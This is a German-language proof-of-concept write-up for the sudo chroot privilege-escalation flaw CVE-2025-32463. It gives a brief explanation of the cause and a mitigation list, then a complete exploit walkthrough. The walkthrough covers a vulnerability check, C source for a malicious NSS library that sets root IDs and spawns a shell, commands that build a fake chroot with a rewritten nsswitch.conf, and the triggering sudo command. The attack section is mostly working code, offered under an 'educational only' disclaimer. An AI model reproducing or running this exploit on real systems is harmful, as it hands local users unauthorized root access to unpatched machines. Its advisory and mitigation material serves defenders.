CVE-2025-32463 - Sudo-Privilegienerweiterung

Eine Schwachstelle zur Privilegienerweiterung existiert in sudo und betrifft Linux/Unix-basierte Systeme. Der Fehler entsteht aufgrund fehlerhafter Pfadvalidierung, wenn sudo mit der Option -R (--chroot) verwendet wird, was Angreifern erlaubt, durch das Laden einer bösartigen NSS-Bibliothek Root-Rechte zu erlangen.

Ursache

• Wenn sudo einen Befehl innerhalb einer chroot-Umgebung (Option -R) ausführt, behandelt es das Laden der NSS (Name Service Switch)-Bibliothek während Fehlerzuständen fehlerhaft.
• Fehlerhafte Pfadvalidierung (z. B. fehlende Bereinigung von LD_LIBRARY_PATH oder Pfaden in /etc/nsswitch.conf) kann dazu führen, dass anstelle der legitimen NSS-Bibliothek (z. B. libnss_files.so) eine bösartige Bibliothek geladen wird.
• Dies führt zur Ausführung beliebigen Codes mit Root-Rechten.

Auswirkungen

• Angreifer mit lokalem Zugriff können dies ausnutzen, um Root-Rechte zu erlangen.

Gegenmaßnahmen

1. Aktualisieren Sie sudo auf die neueste gepatchte Version.
2. Beschränken Sie sudo-Berechtigungen (schränken Sie die chroot-Nutzung wo möglich ein).
3. Überprüfen Sie Umgebungsvariablen:
   • Beschränken Sie LD_LIBRARY_PATH.
   • Sichern Sie /etc/nsswitch.conf.
4. Erzwingen Sie secure_path in /etc/sudoers, um Suchpfade für Bibliotheken einzuschränken.

Technische Details

Schwachstellenübersicht

CVE ID: CVE-2025-32463
Betroffene Versionen: Sudo 1.9.14 bis 1.9.17
CVSS-Score: 9.8 (Kritisch)
Auswirkung: Lokale Privilegienerweiterung zu Root

Angriffsablauf

1. Angreifer erstellt eine bösartige NSS-Bibliothek
2. Richtet eine unechte chroot-Umgebung ein
3. Löst einen sudo-Fehlerzustand aus
4. Sudo lädt die vom Angreifer kontrollierte Bibliothek
5. Bösartiger Code wird mit Root-Rechten ausgeführt

Exploit-Schritte

Schritt 1: Schwachstelle überprüfen

Wenn es mit No such file or directory antwortet, ist es anfällig: sudo -R invalid invalid sudo: invalid: No such file or directory

Schritt 2: Temporären Arbeitsbereich erstellen

Zuerst erstellen wir ein temporäres Verzeichnis zum Arbeiten: TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR Dies erzeugt ein eindeutig benanntes temporäres Verzeichnis und navigiert hinein. Der mktemp-Befehl stellt sicher, dass wir nicht in bestehende Systemdateien eingreifen.

Schritt 3: Bösartige Bibliothek erstellen

Wir müssen eine C-Datei (bridge90.c) erstellen, die zu einer bösartigen Bibliothek kompiliert wird:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Set real and effective user ID to root
  setregid(0,0);  // Set real and effective group ID to root
  chdir("/");     // Change to root directory
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Execute shell
}

Wichtige Komponenten:

• __attribute__((constructor)) stellt sicher, dass die Funktion ausgeführt wird, wenn die Bibliothek geladen wird
• setreuid und setregid erhöhen die Privilegien auf Root
• execl startet eine Bash-Shell

Schritt 4: Exploit-Umgebung einrichten

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c Aufschlüsselung:

• Erstelle eine unechte chroot-Umgebung in bridge/etc
• Ändere nsswitch.conf, um auf unseren bösartigen Pfad zu verweisen
• Kopiere die echte /etc/group-Datei, um die Legitimität zu wahren
• Erstelle ein Verzeichnis für unsere bösartige Bibliothek
• Kompiliere den C-Code in eine gemeinsam genutzte Bibliothek, die den NSS (Name Service Switch)-Konventionen entspricht

Schritt 5: Exploit ausführen

sudo -R bridge bridge

Dieser Befehl versucht, unsere präparierte Umgebung zu verwenden:

• Das erste bridge ist das chroot-Verzeichnis mit unserer bösartigen Konfiguration
• Das zweite bridge ist der auszuführende Befehl (der unsere Bibliothek laden wird)

Schritt 6: Privilegienerweiterung überprüfen

Nach erfolgreichem Exploit: Überprüfen Sie den Root-Zugriff:

whoami # Sollte "root" zurückgeben id -u # Sollte "0" zurückgeben (Root-UID)

graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

Haftungsausschluss

Dieser PoC-Exploit dient nur zu Bildungszwecken! Ich bin nicht verantwortlich für irgendeinen Missbrauch, den Sie mit diesem Exploit verursachen könnten!